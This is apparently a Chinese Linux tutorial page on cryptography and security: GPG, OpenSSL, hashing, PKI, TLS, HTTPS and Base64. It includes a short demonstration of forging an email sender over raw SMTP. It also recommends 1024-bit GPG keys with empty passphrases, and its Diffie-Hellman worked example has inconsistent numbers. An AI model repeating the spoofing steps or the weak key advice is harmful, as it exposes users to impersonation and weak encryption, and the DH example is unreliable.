Drollery Medieval drollery of a knight on a horse

🏆 欢迎来到本站: https://xuchangwei.com/希望这里有你感兴趣的内容

flowery border with man falling
flowery border with man falling

Linux: 加密和安全

内容概述

安全机制

墨菲定律

墨菲定律:一种心理学效应,是由爱德华·墨菲(Edward A. Murphy)提出的, 原话:如果有两种或两种以上的方式去做某件事情,而其中一种选择方式将导致 灾难,则必定有人会做出这种选择

主要内容:

  • 任何事都没有表面看起来那么简单
  • 所有的事都会比你预计的时间长
  • 会出错的事总会出错
  • 如果你担心某种情况发生,那么它就更有可能发生

信息安全防护的目标

  • 保密性 Confidentiality 确保通信信息不被任何无关的人看到;
  • 完整性 Integrity 实现通信双方的报文不会产生信息丢失;数据完整性;系统 完整性
  • 可用性 Usability 通信任何一方产生的信息应当对授权实体可用;
  • 可控制性 Controlability
  • 不可否认性 Non-repudiation

安全防护环节

  • 物理安全:各种设备/主机、机房环境
  • 系统安全:主机或设备的操作系统
  • 应用安全:各种网络服务、应用程序
  • 网络安全:对网络访问的控制、防火墙规则
  • 数据安全:信息的备份与恢复、加密解密
  • 管理安全:各种保障性的规范、流程、方法

常见的安全攻击STRIDE

  • Spoofing 假冒
  • Tampering 篡改
  • Repudiation 否认 如 ARP欺骗
  • Information Disclosure 信息泄漏
  • Denial of Service 拒绝服务
  • Elevation of Privilege 提升权限

范例:冒充

# telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 centos7.localdomain ESMTP Postfix
hello a.com
502 5.5.2 Error: command not recognized
mail from: [email protected]
250 2.1.0 Ok
rcpt to: wang
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: I am mayun
.
250 2.0.0 Ok: queued as 2E1E91C87F725
quit
221 2.0.0 Bye
Connection closed by foreign host.

安全设计基本原则

  • 使用成熟的安全系统
  • 以小人之心度输入数据 如SQL注入
  • 外部系统是不安全的
  • 最小授权
  • 减少外部接口
  • 缺省使用安全模式
  • 安全不是似是而非
  • 从STRIDE思考
  • 在入口处检查
  • 从管理上保护好你的系统

常用安全技术

  • 认证
  • 授权
  • 审计
  • 安全通信

加密算法和协议

  • 对称加密
  • 非对称(公钥)加密
  • 单向加密
  • 认证协议

对称加密算法

image-20210120153703478.png

对称加密:加密和解密使用同一个密钥

特性:

  • 加密、解密使用同一个密钥,效率高
  • 将原始数据分割成固定大小的块,逐个进行加密

缺陷:

  • 密钥过多
  • 密钥分发
  • 数据来源无法确认

常见对称加密算法:

  • DES:Data Encryption Standard即数据加密标准,56bits

    1976年被美国联邦政府的国家标准局确定为联邦资料处理标准(FIPS),随后在国际上广泛流传开来。

    算法的入口参数有三个:Key、Data、Mode。

    Key为7个字节共56位,是DES算法的工作密钥; Data为8个字节64位,是要被加密或被解密的数据; Mode为DES的工作方式,有两种:加密或解密

  • 3DES:Triple DES : DES的增强版,比DES多3个数量级
  • AES:Advanced Data Encryption Standard高级加密标准 (128, 192, 256bits)

    3DES虽然现在是安全的,但随着计算机硬件的更新,总有一天要被攻破;AES 算法欲取待3DES算法,他支持128,192和256位密钥长度,有效的密钥长度可 达上千位。更重要的是,AES算法采用了更为高效的编写方法,对CPU的占用率 较少;目前广泛使用。

  • 商业版:Blowfish,twofish,IDEA,RC6,CAST5等等…
image-20210302073004893.png

非对称加密算法

非对称加密算法介绍

非对称加密:密钥是成对出现

  • 公钥:public key,公开给所有人,主要给别人加密使用
  • 私钥:secret key,private key自己留存,必须保证其私密性,用于自已加 密签名
  • 特点:用公钥加密数据,只能使用与之配对的私钥解密;反之亦然

功能:

  • 数据加密:适合加密较小数据,比如: 加密对称密钥
  • 数字签名:主要在于让接收方确认发送方身份

缺点:

  • 密钥长,算法复杂
  • 加密解密效率低下

常见算法:

  • RSA:由 RSA公司发明,是一个支持变长密钥的公共密钥算法,需要加密的文 件块的长度也是可变的,可实现加密和数字签名
  • DSA(Digital Signature Algorithm):数字签名算法,是一种标准的 DSS(数字签名标准)
  • ECC(Elliptic Curves Cryptography):椭圆曲线密码编码学,比RSA加密算 法使用更小的密钥,提供相当的或更高等级的安全

就算法本身的实现来讲,公钥加密技术比对称加密技术的速度慢上差不多3个数 量级,一个数量级就是10倍,所以3个数量级不是30倍,而是1000倍。因此,在 加密数据时是很少用到公钥去加密的

非对称加密实现加密

image-20210120153751008.png

接收者

  • 生成公钥/密钥对:P和S
  • 公开公钥P,保密密钥S

发送者

  • 使用接收者的公钥来加密消息M
  • 将P(M)发送给接收者

接收者

  • 使用密钥S来解密:M=S(P(M))

非对称加密实现数字签名

image-20210120153809695.png

发送者

  • 生成公钥/密钥对:P和S
  • 公开公钥P,保密密钥S
  • 使用密钥S来加密消息M
  • 发送给接收者S(M)

接收者

  • 使用发送者的公钥来解密M=P(S(M))

RSA和DSA (了解)

RSA:公钥加密算法是1977年由Ron Rivest、Adi Shamirh和LenAdleman在(美国 麻省理工学院)开发的,RSA取名来自开发他们三者的名字,后成立RSA数据安全 有限公司。RSA是目前最有影响力的公钥加密算法,它能够抵抗到目前为止已知 的所有密码攻击,已被ISO推荐为公钥数据加密标准。RSA算法基于一个十分简单 的数论事实:将两个大素数相乘十分容易,但那时想要对其乘积进行因式分解却 极其困难,因此可以将乘积公开作为加密密钥

DSA (Digital Signature Algorithm):1991年7月26日提交,并归属于David W. Kravitz前NSA员工,DSA是Schnorr和ElGamal签名算法的变种,被美国NIST作为 SS(DigitalSignature Standard),DSA是基于整数有限域离散对数难题的,其安 全性与RSA相比差不多。DSA只是一种算法,和RSA不同之处在于它不能用作加密 和解密,也不能进行密钥交换,只用于签名,它比RSA要快很多

使用gpg实现对称和非对称加密

主目录与配置文件

GnuPG 套件将密钥环和私钥存储在 GnuPG 主目录,并从中读取配置。默认路径 为 ~/.gnupg 。有两种方法可以改变主目录的路径:

  • 设置 $GNUPGHOME 环境变量。
  • 使用 --homedir 参数,如 $ gpg --homedir /path/to/dir

GnuPG 的所有行为都可以通过命令行参数进行配置。对于您希望成为默认参数的 参数,可以将它们添加到相应的配置文件中:

  • gpg 检查 gnupg_home/gpg.conf (用户)和 /etc/gnupg/gpg.conf (全 局)。由于 gpg 是 GnuPG 的主要入口点,因此大部分感兴趣的配置都在这里。 请参阅 GPG 选项 获取可能的选项。
  • dirmngr 会检查 gnupg_home/dirmngr.conf/etc/gnupg/dirmngr.conf 两个配置文件。dirmngr是由 gpg 内部调用的程 序,用于访问 PGP 密钥服务器。请参阅Dirmngr 选项以了解可能的选项。
实现公钥加密

目标:在hostB主机上用A的公钥加密,在hostA主机上解密 B —> A

创建密钥对

gpg --gen-key 
# gpg --full-gen-key # 是 --gen-key 的扩展用法

范例:在hostA主机上生成公钥/私钥对

[root@node01 ~]$ gpg --gen-key
Your selection?1<Enter>                       ##默认即可
What keysize do you want? (2048) 1024<Enter>  ##密钥长度,有时可能因为随机数不够导致卡在那里,这时候你就yum 安装几个包组,马上就够了
Key is valid for? (0) 1y<Enter>               ##有效期
Is this correct? (y/N) y<Enter>               ##确认
Real name: Client<Enter>                      ##密钥名称,5个字符以上
Email address:[email protected]<Enter>        ##邮件,非发起必填
Comment: GPG-KEY<Enter>                       ##备注

You selected this USER-ID:
"Jasper Hsu <[email protected]>"
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O<ENTER>   # 确认
Enter passphrase  OK <Enter>                  ##使用空密码,也可以输入                             
<Take this one anyway> <Enter>
<Take this one anyway> <Enter>
# 随意移动鼠标,敲击键盘,收集足够的随机字符,产生密钥。

查看密钥

查看公钥

gpg --list-keys

查看私钥

gpg --list-secret-keys

范例: 在hostA主机上

# 查看公钥
# gpg --list-keys
/root/.gnupg/pubring.gpg
------------------------
pub   1024R/01CD064A 2024-02-25 [expires: 2025-02-24]
uid                  Client (GPG-KEY) <[email protected]>
sub   1024R/2C1E092D 2024-02-25 [expires: 2025-02-24]

# 查看私钥
# gpg --list-secret-keys
/root/.gnupg/secring.gpg
------------------------
sec   1024R/01CD064A 2024-02-25 [expires: 2025-02-24]
uid                  Client (GPG-KEY) <[email protected]>
ssb   1024R/2C1E092D 2024-02-25

导出公钥

GPG 的主要用途是通过公钥加密信息以确保其私密性。你可以分发自己的公钥,而其他人通过该公钥加密发给你的信息。而你的私钥必须始终保密,否则将会威胁信息的私密性。

所以其他人需要有你的公钥才能给你发加密信息。

以下命令可生成公钥的 ASCII 版本(–armor 参数)(例如用于以电子邮件发布):

gpg --export --armor --output public-key.asc user-id

# --armorg -a: 生成公钥的 ASCII 版本。默认设置是创建二进制 OpenPGP 格式。
# --output -o: 将输出写入文件。若要写入 stdout,请使用 - 作为文件名。
# --export: 从所有密钥环中导出所有密钥,或者如果至少给定一个名称,则导出给定名称的密钥。导出的密钥将写入 STDOUT 或带有选项 --output 的文件中。与一起使用 --armor 以邮寄这些密钥。 

提示:

使用 --no-emit-version 可以避免打印版本号,通过配置文件也可以进行此设置。

可以省略 user-id 以导出密钥环内所有的公钥。这可以用来分享多个身份,或是将其导入到另一个程序,比如 Thunderbird。

输入输出选项: https://www.gnupg.org/documentation/manuals/gnupg/GPG-Input-and-Output.html

范例:在hostA主机上导出公钥到client.pubkey

# gpg --export -a -o client.pubkey 'Client'

# 查看用户 id 为 Client 公钥内容
# gpg --export -a 'Client'
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.22 (GNU/Linux)

mI0EYD51TwEEAOL/dBA7bAtBfFraTM9rW7QfcyICSEGOtCfJjjEzNHyNGNsAlZXe
aCurLXaYJHne1wSvyOc4Tv9eXqp+FbCM2Itow1gKWiVxAhp/36Dcf2c0KvCCipQD
+eq9DBx77+/KE0KO+eXXQvoDuaE8zl0MfFJVtNS25aSlQeFwU6T5fhRxABEBAAG0
EkNsaWVudCAoIkdQRy1LRVkiKYi5BBMBAgAjBQJgPnVPAhsDBwsJCAcDAgEGFQgC
CQoLBBYCAwECHgECF4AACgkQ9y3a/SwV2bHEhAQA2aa3P+DHy3i/fcz2sDi25uYS
WWjlDyY2Sis1E1r9yl7mihMjP5WbbQ+o/9wn2nqk3EKnot8tSkp9rE+1pk1Uth1i
MBiuEL2OZep3W6Ee9Hi0rIUu6MhAwHAT2y0bp33FajG4amn8kKSxUZ5UBaLdekBU
gutPdWQsTZemWi3ITn24jQRgPnVPAQQA6Ny/BkcQ6rWOKf1k5uOfEjLKi88SFVsy
9DvKUoN1bzACTQUWAtjOv3ncJYbxNmCDzzte6727nmIMfxEjDHQhGz1bCqlcq6pm
hwfTSgl1CL9nxtPLV1XdsqmE++gorsA1XkqnLvylfSlnwrVVTjhHNsE3HJiiDC3j
9wDI7d4c7e8AEQEAAYifBBgBAgAJBQJgPnVPAhsMAAoJEPct2v0sFdmxKUMEANcN
Wv6cCxj9EaECiwNVUEGtAJH6wh+ibpbFBXhp/n6Tt0dpOcsuce829ixsoYlQ/lmK
0zyitTrImkWz3NQlvE+GSVg2zGuOuOK4hHZB+EURBGWnG31Z36nxVfcV//D3EU9g
CaoG9JIa4PljqFxwg5EGU973uKOzpaJF/sqLim5Y
=Q1fR
-----END PGP PUBLIC KEY BLOCK-----

导入公共密钥

要给其他人发送加密信息,或者验证他们的签名,就需要他们的公钥。通过文件 public.key 导入公钥到密钥环

gpg --import public.key.asc

范例: 在hostB主机上导入公钥

# 从hostA主机上复制公钥文件到需加密的B主机上
scp client.pubkey hostB:

# 在需加密数据的hostB主机上生成公钥/私钥对
gpg --list-keys
gpg --gen-key

# 在hostB主机上导入公钥
gpg --import client.pubkey
gpg --list-keys

范例: 文件加密与解密

# 用从hostA主机导入的公钥,加密hostB主机的文件file,生成file.gpg
gpg -e -r client file  # 以client的身份加密文件
file file.gpg

# 复制加密文件到hostA主机
scp fstab.gpg hostA:

#在hostA主机解密文件
gpg -d file.gpg
gpg -o file -d file.gpg

删除公钥和私钥

gpg --delete-secret-keys wclient # 删除私钥
gpg --delete-keys client # 删除公钥
使用公钥服务器

发布公钥

你可以将你的公钥注册到一个公共的密钥服务器,这样其他人不用联系你就能获取到你的公钥:

gpg --send-keys key-id

# 警告: 一旦一个公钥被发送到密钥服务器,它就无法从服务器上删除

搜索和接收公钥

要查询公钥的详细信息而不是导入,执行:

gpg --search-keys user-id

要导入一个公钥:

gpg --receive-keys key-id

要使用密钥服务器中的最新版本刷新/更新钥匙串:

gpg --refresh-keys

公钥服务器 常见的公钥服务器:

  • Ubuntu Keyserver:联盟式(federated)、没有验证、公钥不可删除。
  • Mailvelope Keyserver:中心式、验证电邮 ID、公钥可删除。
  • keys.openpgp.org:中心式、验证电邮 ID、公钥可删除、没有第三方签名(即不支持信任网络)

备选公钥服务器可以在#配置文件中的 keyserver 选项中注明,例如:

~/.gnupg/dirmngr.conf
keyserver hkp://keyserver.ubuntu.com

当常规服务器无法正常工作时,临时使用另一台服务器很方便。例如,可以通过以下方法实现:

gpg --keyserver hkps://keys.openpgp.org/ --search-keys user-id
实现加密与解密

非对称加解密

在加密(参数 --encrypt-e )一个文件或一条信息给另外一个人(参 数 --recipient-r )之前,你需要先导入他的公钥。

要加密一个名为 doc 的文件:

gpg --recipient user-id --encrypt doc

要解密(参数 --decrypt-d )一个用你的公钥加密的、名为 doc.gpg 的文件:

gpg --output doc --decrypt doc.gpg

对称加密与解密

对称加密不需要生成密钥对,可用来简单地给文件加上密码。使用 -c/--symmetric 参数来进行对称加密:

gpg -c file # 输入口令密码,生成file.gpg的密码

在另一台主机上解密file,并将解密的文档输出到同一目录下的 file.gpg 文件中:

gpg -o file -d file.gpg

我鼓励你学习如何对电子邮件通信使用加密,并将其建立为受信任联系人的默认 方法。你无需成为技术向导即可实现它。开始阅读自由软件基金会关于电子邮件 自卫的优秀指南。

参考:

单向哈希算法

哈希算法:也称为散列算法,将任意数据缩小成固定大小的“指纹”,称为digest,即摘要

特性:

  • 任意长度输入,固定长度输出
  • 若修改数据,指纹也会改变,且有雪崩效应,数据的一点微小改变,生成的指纹值变化非常大。
  • 无法从指纹中重新生成数据,即不要逆,具有单向性

功能:数据完整性

常见算法 md5: 128bits、sha1: 160bits、sha224 、sha256、sha384、sha512

常用工具

  • md5sum | sha1sum [ –check ] file
  • openssl、gpg
  • rpm -V

数字签名

image-20210120153936904.png

RPM 文件完整性

rpm --verify package_name (or -V)
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-redhat*
rpm --checksig pakage_file_name (or-K)

综合应用多种加密算法

实现数据加密

实现数据加密,无法验证数据完整性和来源

image-20210303023818589.png image-20210120154029857.png

实现数字签名

不加密数据,可以保证数据来源的可靠性、数据的完整性和一致性

image-20210120154059975.png

综合加密和签名

即实现数据加密,又可以保证数据来源的可靠性、数据的完整性和一致性

方法1:Pb{Sa[hash(data)]+data}

image-20210120154128669.png

方法2:对称key{Sa[hash(data)]+data}+Pb(对称key)

image-20210120154155432.png
data-ssl.jpg

密码交换

密钥交换:IKE( Internet Key Exchange )

DH 实现过程:

A: g,p 协商生成公开的整数g, 大素数p
B: g,p
A:生成隐私数据:a (a<p),计算得出 g^a%p,发送给B
B:生成隐私数据:b,(b<p),计算得出 g^b%p,发送给A
A:计算得出 [(g^b%p)^a] %p = g^ab%p,生成为密钥
B:计算得出 [(g^a%p)^b] %p = g^ab%p,生成为密钥

范例:

g=23
p=5

A:
a=6
23^6%5=4
2^6%5=4

B:
b=15
23^15%5=2

4^15%5
[root@centos8 ~]#echo 23^15%5|bc
2
[root@centos8 ~]#echo 23^6%5|bc
4
[root@centos8 ~]#echo 2^6%5|bc
4
[root@centos8 ~]#echo 4^15%5|bc
4

CA和证书

中间人攻击

Man-in-the-middle,简称为 MITM,中间人 image-20210120154225691.png

CA和证书

image-20210120154454189.png image-20210120154716488.png

电脑上默认安装了很多要ca的证书

控制面板–internet选项–内容–证书

image-20210304073450321.png

PKI:Public Key Infrastructure 公共密钥加密体系

1)签证机构:CA(Certificate Authority)
用户在注册机构注册证书,CA就会签发用户的公钥认证,并且和申请者的信息绑定在一起并且签名后,以证书形式发给申请者,然后在本地的证书存取库备份。(可以理解成现实社会的公安部)
2)注册机构:RA
一般用户都是在这里注册证书(可以理解成现实社会的派出所)
3)证书吊销列表:CRL
如果用户私钥丢失,必须要申请吊销证书,否则可能会被别人冒名顶替。
4)证书存取库:CB,公共存储证书位置
所有发出的证书都会在这里存一份,如果丢失证书可以在这里得到,如果丢失私钥那么只能申请证书撤销

X.509:定义了证书的结构以及认证协议标准

  • 版本号:标识证书的版本
  • 序列号:标识证书的唯一证书,类似于身份证
  • 签名算法ID:证书的算法标识
  • 颁发者:证书颁发这的可识别名
  • 有效期限:证书有效的时间段
  • 主体名称:证书拥有着的可识别名
  • 主体公钥:关键部分
  • 发行者的唯一标识:证书颁发者的唯一标识符
  • 主体的唯一标识:证书拥有者的唯一标识符
  • 扩展信息
  • 发行者的签名:证书颁发者对证书的签名,上述整个内容做单向加密,得到的 特征码用自己私钥加密,并附加到后面,用来生产发行者的签名;

证书类型:

  • 证书授权机构的证书
  • 服务器证书
  • 用户证书

获取证书两种方法:

  • 自签名的证书: 自已签发自己的公钥
  • 使用证书授权机构:
    • 生成证书请求(csr)
    • 将证书请求csr发送给CA
    • CA签名颁发证书

安全协议 SSL/TLS

TLS 介绍

SSL:Secure Socket Layer,TLS: Transport Layer Security

  • 1994年,NetScape公司设计了SSL协议(Secure Sockets Layer)的1.0版,但 是未发布。用以保障在Internet上数据传输之安全,利用数据加密技术,可确 保数据在网络上之传输过程中不会被截取及窃听。
  • 1995:SSL 2.0 Netscape 开发
  • 1996:SSL 3.0
  • 1999:TLS 1.0
  • 2006:TLS 1.1 IETF(Internet工程任务组) RFC 4346,从2020年3月起,停止 支持TLS 1.1及TLS 1.0版本安全协议,谷歌(Chrome)、Mozilla(Firefox)、 微软(IE和Edge)、苹果(Safari) 都会发布新版浏览器执行这个策略
  • 2008:TLS 1.2 当前主要使用
  • 2018:TLS 1.3

功能:

  • 机密性
  • 认证
  • 完整性
  • 重放保护
SSL/TLS组成
ssl.jpg
image-20210120154851499.png
  • Handshake协议:包括协商安全参数和密码套件、服务器身份认证(客户端身 份认证可选)、密钥交换
  • ChangeCipherSpec 协议:一条消息表明握手协议已经完成
  • Alert协议:对握手协议中一些异常的错误提醒,分为fatal和warning两个级 别,fatal类型错误会直接中断SSL链接,而warning级别的错误SSL链接仍可继 续,只是会给出错误警告
  • Record 协议:包括对消息的分段、压缩、消息认证和完整性保护、加密等
TLS实现过程

实现分为握手阶段和应用阶段

  • 握手阶段(协商阶段):客户端和服务器端认证对方身份(依赖于PKI体系,利用 数字证书进行身份认证),并协商通信中使用的安全参数、密码套件以及主密 钥。后续通信使用的所有密钥都是通过 MasterSecret 生成
  • 应用阶段:在握手阶段完成后进入,在应用阶段通信双方使用握手阶段协商好 的密钥进行安全通信

目前密钥交换 + 签名有三种主流选择:

  • RSA 密钥交换、RSA 数字签名
  • ECDHE 密钥交换、RSA 数字签名
  • ECDHE 密钥交换、ECDSA 数字签名

实现方式1 (了解)

RSA 密钥交换、RSA 数字签名 image-20210120154924933.png

  1. Visitor给出协议版本号、一个客户端随机数(Client random),以及客户 端支持的加密方法
  2. Server确认双方使用的加密方法,以及一个服务器生成的随机数(Server random)
  3. Server发送数字证书给Visitor
  4. Visitor确认数字证书有效(查看证书状态且查询证书吊销列表),并使用信 任的CA的公钥解密数字证书获得Server的公钥,然后生成一个新的46字节随 机数(称为预备主密钥Pre-master secret),并使用Server的公钥加密预备 主密钥发给Server
  5. Server使用自己的私钥,解密Visitor发来的预备主密钥
  6. Visitor和Server双方都具有了(客户端随机数+服务端随机数+预备主密钥), 它们两者都根据约定的加密方法,使用这三个随机数生成对称密钥–主 密钥(也称为对话密钥session key),用来加密后续的对话过程
  7. 在双方验证完 session key 的有效性之后,SSL握手机制就算结束了。之后 所有的数据只需要使用“对话密钥”(此密钥并不是的session key,而是由 其通过计算得到)加密即可,不再需要多余的加密机制

注意:

  1. 在SSL握手机制中,需要三个随机数(客户端随机数+服务端随机数+预备主密钥)
  2. 至始至终客户端和服务端只有一次非对称加密动作-–—客户端使用证书中 获得的服务端公钥加密预备主密钥。
  3. 上述SSL握手机制的前提单向验证,无需验证客户端,如果需要验证客户端则 可能需要客户端的证书或客户端提供签名等。
  4. Server和Visitor通信,Server把数字证书发给Visitor,最关键的一点是 Visitor要保证证书的有效性,通过查看证书状态并去CA的吊销列表查看 Server的证书是否被吊销。只有Server的证书可用了,才保证了第一环节的 安全性
  5. RSA 密钥交换有一个很大的问题:没有前向安全性Forward Secrecy。这意味 着攻击者可以把监听到的加密流量先存起来,后续一旦拿到了私钥,之前所 有流量都可以成功解密

实现方式2

目前大部分 HTTPS 流量用的都是 ECDHE 密钥交换。ECDHE是使用椭圆曲线(ECC) 的 DH(DiffieHellman)算法

image-20210120155014829.png

前图中的 Server DH Parameter是用证书私钥签名的,客户端使用证书公钥就可 以验证服务端合法性。相比 RSA密钥交换,DH 由传递 Premaster Scret 变成了 传递 DH算法所需的Parameter,然后双方各自算出 Premaster Secret

对于这种情况,由于 Premaster Secret 无需交换,中间人就算有私钥也无法获 得Premaster Secret 和Master Secret。当然,使用 ECDHE后,虽然中间人拿到 私钥也无法解密之前的流量,但可以实施MITM攻击来解密之后的流量,所以私钥 还是要保管好。

相比 RSA 既可以用于密钥交换,又可以用于数字签名;ECC 这边就分得比较清 楚了:ECDHE 用于密钥交换,ECDSA 用于数字签名

浏览器f12–安全选项可看到密钥交换 + 签名的方式

image-20210120155041380.png

HTTPS

HTTPS 协议:就是“HTTP 协议”和“SSL/TLS 协议”的组合。HTTP over SSL 或 HTTP over TLS ,对http协议的文本数据进行加密处理后,成为二进制形式 传输

HTTPS 结构
image-20210120155104049.png
HTTPS 工作的简化过程
image-20210120155123597.png
  1. 客户端发起HTTPS请求

    用户在浏览器里输入一个https网址,然后连接到服务器的443端口

  2. 服务端的配置

    采用HTTPS协议的服务器必须要有一套数字证书,可以自己制作,也可以向组 织申请。区别就是自己颁发的证书需要客户端验证通过,才可以继续访问, 而使用受信任的公司申请的证书则不会弹出提示页面。这套证书其实就是一 对公钥和私钥

  3. 传送服务器的证书给客户端

    证书里其实就是公钥,并且还包含了很多信息,如证书的颁发机构,过期时 间等等

  4. 客户端解析验证服务器证书

    这部分工作是有客户端的TLS来完成的,首先会验证公钥是否有效,比如:颁 发机构,过期时间等等,如果发现异常,则会弹出一个警告框,提示证书存 在问题。如果证书没有问题,那么就生成一个随机值。然后用证书中公钥对 该随机值进行非对称加密

  5. 客户端将加密信息传送服务器

    这部分传送的是用证书加密后的随机值,目的就是让服务端得到这个随机值, 以后客户端和服务端的通信就可以通过这个随机值来进行加密解密了

  6. 服务端解密信息

    服务端将客户端发送过来的加密信息用服务器私钥解密后,得到了客户端传 过来的随机值

  7. 服务器加密信息并发送信息

    服务器将数据利用随机值进行对称加密,再发送给客户端

  8. 客户端接收并解密信息

    客户端用之前生成的随机值解密服务段传过来的数据,于是获取了解密后的 内容

OpenSSL

OpenSSL 介绍

官网:https://www.openssl.org/

OpenSSL计划在1998年开始,其目标是发明一套自由的加密工具,在互联网上使 用。OpenSSL以Eric Young以及Tim Hudson两人开发的SSLeay为基础,随着两人 前往RSA公司任职,SSLeay在1998年12月停止开发。因此在1998年12月,社群另 外分支出OpenSSL,继续开发下去。

OpenSSL管理委员会当前由7人组成有13个开发人员具有提交权限(其中许多人也 是OpenSSL管理委员会的一部分)。只有两名全职员工(研究员),其余的是志 愿者。

该项目每年的预算不到100万美元,主要依靠捐款。TLS 1.3 的开发由 Akamai 赞助。

OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通 信,避免窃听,同时确认另一端连线者的身份。这个包广泛被应用在互联网的网 页服务器上。

其主要库是以C语言所写成,实现了基本的加密功能,实现了SSL与TLS协议。 OpenSSL可以运行在OpenVMS、Microsoft Windows以及绝大多数类Unix操作系统 上(包括Solaris,Linux,Mac OS X与各种版本的开放源代码BSD操作系统)。

心脏出血漏洞 :OpenSSL 1.0.1版本(不含1.0.1g)含有一个严重漏洞,可允 许攻击者读取服务器的内存信息。该漏洞于2014年4月被公诸于世,影响三分之 二的活跃网站。

包括三个组件:

  • libcrypto:用于实现加密和解密的库
  • libssl:用于实现ssl通信协议的安全库
  • openssl:多用途命令行工具

Base64 编码

Base64是网络上最常见的用于传输 8Bit字节码的编码方式之一,Base64就是一 种基于64个可打印字符来表示二进制数据的方法

base64 字符包含a-z A-Z 0-9 + /
image-20210120185004074.png

base64的编码过程如下:

将每3个字节放入一个24位的缓冲区中,最后不足3个字节的,缓冲区的剩余部分 用0来填补。然后每次取出6位(2的6次方为64,使用64个字符即可表示所有), 将高2位用0来填充,组成一个新的字节,计算出这个新字节的十进制值,对应上 面的编码表,输出相应的字符。这样不断地进行下去,就可完成对所有数据的编 码工作。

按照以上规则对文本Man编码如下:

image-20210120185027750.png

范例:

#三个字符的整数倍才不会出现等号
[root@centos8 ~]#echo -n Man | base64
TWFu
[root@centos8 ~]#echo TWFu | base64 -d    #-d 反向转换
Man[root@centos8 ~]#

# echo -n Ma | base64  #一个字符点8位,base64是每个占6位。ab占16位,不能被6整除需要加等号代表补出来的0
TWE=
# echo -n Ma | base64 |base64 -d
Ma

范例:破解下面密文

JXU0ZjYwJXU1OTdkJXU2NzBiJXU1M2NiJXVmZjAxJXU2MjExJXU2NjJmJXU1ZjkwJXU5NTdmJXU0ZjFm
JXVmZjBjJXU2MjExJXU3Njg0JXU3ZjUxJXU3YWQ5JXVmZjFhJXUwMDc4JXUwMDc1JXUwMDYzJXUwMDY4JXUwMDYxJXUwMDZlJXUwMDY3JXUwMDc3JXUwMDY1JXUwMDY5JXUwMDJlJXUwMDYzJXUwMDZmJXUwMDZkJXVmZjBjJXU1M2VmJXU0ZWU1
JXU1MmEwJXU0ZTJhJXU1OTdkJXU1M2NiJXU1NDE3JXVmZjFm

# 解密
cat <<EOF | while read line; do  echo -e "`sed -rn 's@\%@\\\@gp' <(echo $line|base64 -d)`" ; done
JXU0ZjYwJXU1OTdkJXU2NzBiJXU1M2NiJXVmZjAxJXU2MjExJXU2NjJmJXU1ZjkwJXU5NTdmJXU0ZjFm
JXVmZjBjJXU2MjExJXU3Njg0JXU3ZjUxJXU3YWQ5JXVmZjFhJXUwMDc4JXUwMDc1JXUwMDYzJXUwMDY4JXUwMDYxJXUwMDZlJXUwMDY3JXUwMDc3JXUwMDY1JXUwMDY5JXUwMDJlJXUwMDYzJXUwMDZmJXUwMDZkJXVmZjBjJXU1M2VmJXU0ZWU1
JXU1MmEwJXU0ZTJhJXU1OTdkJXU1M2NiJXU1NDE3JXVmZjFm
EOF

#加密
# cat <<EOF | while read line; do   echo  $line|iconv -f iconv -f utf-8 -t unicode |od -A n -t x2|tr -d '\n'|sed -r 's@( feff| 000a)@@g'|sed 's/\x20/\\u/g'|sed -r 's/\\/\%/g' | base64| paste -s -d ''; done
> 你好朋友!我是徐长伟
> ,我的网站:xuchangwei.com,可以
> 加个好友吗?
> EOF
JXU0ZjYwJXU1OTdkJXU2NzBiJXU1M2NiJXVmZjAxJXU2MjExJXU2NjJmJXU1ZjkwJXU5NTdmJXU0ZjFm
JXVmZjBjJXU2MjExJXU3Njg0JXU3ZjUxJXU3YWQ5JXVmZjFhJXUwMDc4JXUwMDc1JXUwMDYzJXUwMDY4JXUwMDYxJXUwMDZlJXUwMDY3JXUwMDc3JXUwMDY1JXUwMDY5JXUwMDJlJXUwMDYzJXUwMDZmJXUwMDZkJXVmZjBjJXU1M2VmJXU0ZWU1
JXU1MmEwJXU0ZTJhJXU1OTdkJXU1M2NiJXU1NDE3JXVmZjFm

openssl命令

两种运行模式:

  • 交互模式
  • 批处理模式

三种子命令:

  • 标准命令
  • 消息摘要命令 如dgst子命令
  • 加密命令 如enc子命令

范例:获取帮助

[root@centos8 ~]#openssl version 
OpenSSL 1.1.1c FIPS  28 May 2019
[root@centos8 ~]#openssl help
Standard commands
asn1parse         ca                ciphers           cms               
crl               crl2pkcs7         dgst              dhparam           
dsa               dsaparam          ec                ecparam           
enc               engine            errstr            gendsa            
genpkey           genrsa            help              list              
nseq              ocsp              passwd            pkcs12            
pkcs7             pkcs8             pkey              pkeyparam         

[root@centos8 ~]#openssl 
OpenSSL> help
Standard commands
asn1parse         ca                ciphers           cms               
crl               crl2pkcs7         dgst              dhparam           
......                        
OpenSSL> ca --help
Usage: ca [options]
Valid options are:
 -help                   Display this summary
 -verbose                Verbose output during processing
 -config val             A config file
......
OpenSSL> q

openssl密码格式

子命令的选项”-passin”和”-passout”可能使用到的密码传递格式, "-passin"指的是传递解密时的密码,"-passout"指的是传递加密输出文件时的 密码。如果不给定密码格式,将提示从终端输入。

格式一:pass:password   :password表示传递的明文密码
格式二:env:var         :从环境变量var获取密码值
格式三:file:filename   :filename文件中的第一行为要传递的密码。若filename同时传递给"-passin"和"-passout"选项,则filename的第一行为"-passin"的值,第二行为"-passout"的值
格式四:stdin           :从标准输入中获取要传递的密码

openssl enc命令对称加密

工具:openssl enc, gpg

算法:3des, aes, blowfish, twofish

enc命令:帮助:man enc

加密:

openssl enc -e -des3 -a -salt -in testfile -out testfile.cipher

参数说明:
-e:对输入数据加密(默认值)
-CIPHERNAME:表示使用的算法 如-des3 
-a:bash64文本编码格式,不加-a就是二进制编码格式;
-salt:加入"佐料"
-in:加密的文件
-out:加密后的文件

解密:

openssl enc -d -des3 -a -salt -in testfile.cipher -out testfile
#-d 解密

范例 aes-128-cbc

[root@test ~]# echo testsda | openssl aes-128-cbc -k 3flreaem37123456 -base64
U2FsdGVkX19PWoSmneIPSEsa42aYcs/tiFiWmmjI4tU=

